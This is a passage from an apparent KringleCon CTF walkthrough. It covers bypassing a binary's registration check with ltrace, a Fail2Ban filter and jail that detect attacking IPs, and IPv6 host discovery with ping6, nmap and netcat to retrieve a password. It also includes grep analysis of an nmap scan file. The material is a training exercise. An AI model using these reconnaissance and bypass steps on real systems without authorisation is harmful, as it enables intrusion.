kotton_kandy_co@d1c631b1cf57:~$ ./make_the_candy
Unregistered - Exiting.
Seems the binary expects that file to contain certain information, let’s ltrace that file (maybe we can found some function calls regarding the content):
kotton_kandy_co@d1c631b1cf57:~$ ltrace -S -f ./make_the_candy
..
[pid 26] strstr("something\n", "Registration") = nil
..
This way we can see the strings that are expected and we can rebuild the full configuration file:
kotton_kandy_co@d1c631b1cf57:~$ vim registration.json
kotton_kandy_co@d1c631b1cf57:~$ cat registration.json
Registration: True
kotton_kandy_co@d1c631b1cf57:~$ ./make_the_candy
Launching...
Chimney Scissorsticks is standing next to a Terminal and Santa's sleigh.
Santa's HOLIDAY HERO
1. RANDOM MATCH MAKING
2. CREATE ROOM
3. JOIN ROOM
In this browser based game you have to collect fuel and reach a certain percentage so Santa's sleigh can depart. It was made for two player where one player creates a room and a second player can join that room by using the same room ID. Each player needs to press one of two keys at the correct time so the fuel gets collected.
While this game could be modified (by tweaking cookies) to support a single player mode I have chosen the "think-outside-the-box" strategy: Put two laptops next to each other, created a room and the invitation at the same time and played the game having one hand on each laptop's keyboard. :smile:
Jack is trying to break into Santa's workshop!
Santa's elves are working 24/7 to manually look through logs, identify the
malicious IP addresses, and block them. We need your help to automate this so
the elves can get back to making presents!
Can you configure Fail2Ban to detect and block the bad IPs?
* You must monitor for new log entries in /var/log/hohono.log
* If an IP generates 10 or more failure messages within an hour then it must
be added to the naughty list by running naughtylist add <ip>
/root/naughtylist add 12.34.56.78
* You can also remove an IP with naughtylist del <ip>
/root/naughtylist del 12.34.56.78
* You can check which IPs are currently on the naughty list by running
/root/naughtylist list
You'll be rewarded if you correctly identify all the malicious IPs with a
Fail2Ban filter in /etc/fail2ban/filter.d, an action to ban and unban in
/etc/fail2ban/action.d, and a custom jail in /etc/fail2ban/jail.d. Don't
add any nice IPs to the naughty list!
*** IMPORTANT NOTE! ***
Fail2Ban won't rescan any logs it has already seen. That means it won't
automatically process the log file each time you make changes to the Fail2Ban
config. When needed, run /root/naughtylist refresh to re-sample the log file
and tell Fail2Ban to reprocess it.
The fail2ban filter can be implemented like this (there are 4 types of error messages which can occur in the log file):
root@01550c223905:/etc/fail2ban# cat filter.d/naughtylist.conf
[Definition]
failregex = ^.* Failed login from <HOST> for .*$
^.* Invalid heartbeat .* from <HOST>.*$
^.* Login from <HOST> rejected due to unknown user name.*$
^.* <HOST> sent a malformed request.*$
Let’s test if these are matching:
root@01550c223905:/etc/fail2ban# fail2ban-regex /var/log/hohono.log /etc/fail2ban/filter.d/naughtylist.conf
Running tests
=============
Use failregex filter file : naughtylist, basedir: /etc/fail2ban
Use log file : /var/log/hohono.log
Use encoding : UTF-8
Results
=======
Failregex: 3711 total
|- #) [# of hits] regular expression
| 1) [969] ^.* Failed login from <HOST> for .*$
| 2) [856] ^.* Invalid heartbeat .* from <HOST>.*$
| 3) [928] ^.* Login from <HOST> rejected due to unknown user name.*$
| 4) [958] ^.* <HOST> sent a malformed request.*$
`-
We also need some actions to ban/unban IPs:
root@6f94ebf60fe4:/etc/fail2ban# cat action.d/naughtylist.conf
[Definition]
actionban = /root/naughtylist add <ip>
actionunban = /root/naughtylist del <ip>
And of course a proper jail:
root@6f94ebf60fe4:/etc/fail2ban# cat jail.d/naughtylist.conf
[naughtylist]
enabled = true
filter = naughtylist
logpath = /var/log/hohono.log
banaction = naughtylist
maxretry = 10
findtime = 3600
bantime = -1
Let’s refresh the config and reload the entries to see if they are triggering fail2ban:
root@618198b70f67:/etc/fail2ban/jail.d# Log file refreshed! It may take fail2ban a few moments to re-process.
192.149.76.183 has been added to the naughty list!
..
201.10.224.72 has been added to the naughty list!
You correctly identifed 19 IPs out of 19 bad IPs
You incorrectly added 0 benign IPs to the naughty list
*******************************************************************
* You stopped the attacking systems! You saved our systems!
*
* Thank you for all of your help. You are a talented defender!
*******************************************************************
Tools:
* netcat
* nmap
* ping / ping6
* curl
Welcome, Kringlecon attendee! The candy striper is running as a service on
this terminal, but I can't remember the password. Like a sticky note under the
keyboard, I put the password on another machine in this network. Problem is: I
don't have the IP address of that other host.
Please do what you can to help me out. Find the other machine, retrieve the
password, and enter it into the Candy Striper in the pane above. I know you
can get it running again!
Let’s ping for further IPv6 hosts
ping6 -I 2604:6000:1528:cd:d55a:f8a7:d30a:3 ff02::1%eth0
We have a few candidates
2604:6000:1528:cd:d55a:f8a7:d30a:1
2604:6000:1528:cd:d55a:f8a7:d30a:2
2604:6000:1528:cd:d55a:f8a7:d30a:3
2604:6000:1528:cd:d55a:f8a7:d30a:e405
Let’s see what’s running on that last machine
nmap -6 2604:6000:1528:cd:d55a:f8a7:d30a:e405
Port 80 and 9000 open so we use curl and Netcat to inspect them
curl -6 -g 'http://[2604:6000:1528:cd:d55a:f8a7:d30a:e405]:80/'
netcat -6 '2604:6000:1528:cd:d55a:f8a7:d30a:e405' 9000
The second port gives us the passphrase
see Flag
Howdy howdy! Mind helping me with this homew- er, challenge?
Someone ran nmap -oG on a big network and produced this bigscan.gnmap file.
The quizme program has the questions and hints and, incidentally,
has NOTHING to do with an Elf University assignment. Thanks!
Answer all the questions in the quizme executable:
- What port does 34.76.1.22 have open?
- What port does 34.77.207.226 have open?
- How many hosts appear "Up" in the scan?
- How many hosts have a web port open? (Let's just use TCP ports 80, 443, and 8080)
- How many hosts with status Up have no (detected) open TCP ports?
- What's the greatest number of TCP ports any one host has open?
Check out bigscan.gnmap and type quizme to answer each question.
Grep can be used to look for certain keywords/lines inside a file. The man page shows which parameters are available. The later steps are easier to solve if you're using regular expressions and/or piping a command output to another command.
The quizme binary offers some help to get the proper grep statements:
# What port does 34.76.1.22 have open?
elf@372b805671ad:~$ grep 34.76.1.22 bigscan.gnmap
Host: 34.76.1.22 () Status: Up
Host: 34.76.1.22 () Ports: 62078/open/tcp//iphone-sync/// Ignored State: closed (999)
# What port does 34.77.207.226 have open?
elf@372b805671ad:~$ grep 34.77.207.226 bigscan.gnmap
Host: 34.77.207.226 () Status: Up
Host: 34.77.207.226 () Ports: 8080/open/tcp//http-proxy/// Ignored State: filtered (999)
# How many hosts appear "Up" in the scan?
elf@372b805671ad:~$ grep "Status: Up" bigscan.gnmap | wc
26054 130270 967583
# How many hosts have a web port open? (Let's just use TCP ports 80, 443, and 8080)
elf@b603d20214a1:~$ grep -E "(80/open)|(443/open)|(8080/open)" bigscan.gnmap | wc
14372 180190 2539348
# How many hosts with status Up have no (detected) open TCP ports?
elf@b603d20214a1:~$ grep "Status: Up" bigscan.gnmap | wc ; grep "/open" bigscan.gnmap | wc
26054 130270 967583
25652 321396 4731570
# 26054 - 25652 = 402
# What's the greatest number of TCP ports any one host has open?
elf@9bb355913c98:~$ cat bigscan.gnmap | grep "/open" | awk -F',' '{print NF-1}' | sort | uniq
0
1
10
11
2
..
9
# Max is 11(+1) = 12
Logic Chompers! Complete a stage in Potpourri at Intermediate or higher to get a special achievement!
Controls:
Arrow keys or WASD: Move Chompy
Enter or Space: Chomp the current expression
Click: Navigate to adjacent squares and chomp the square Chompy's in
Esc: Pause the game
i: Toggle text and iconography
Well, there is no real hint here than just to follow the rules, solve the equations and watch for the trolls ;)
Stay away from the edges as well as the trolls are coming from there ;)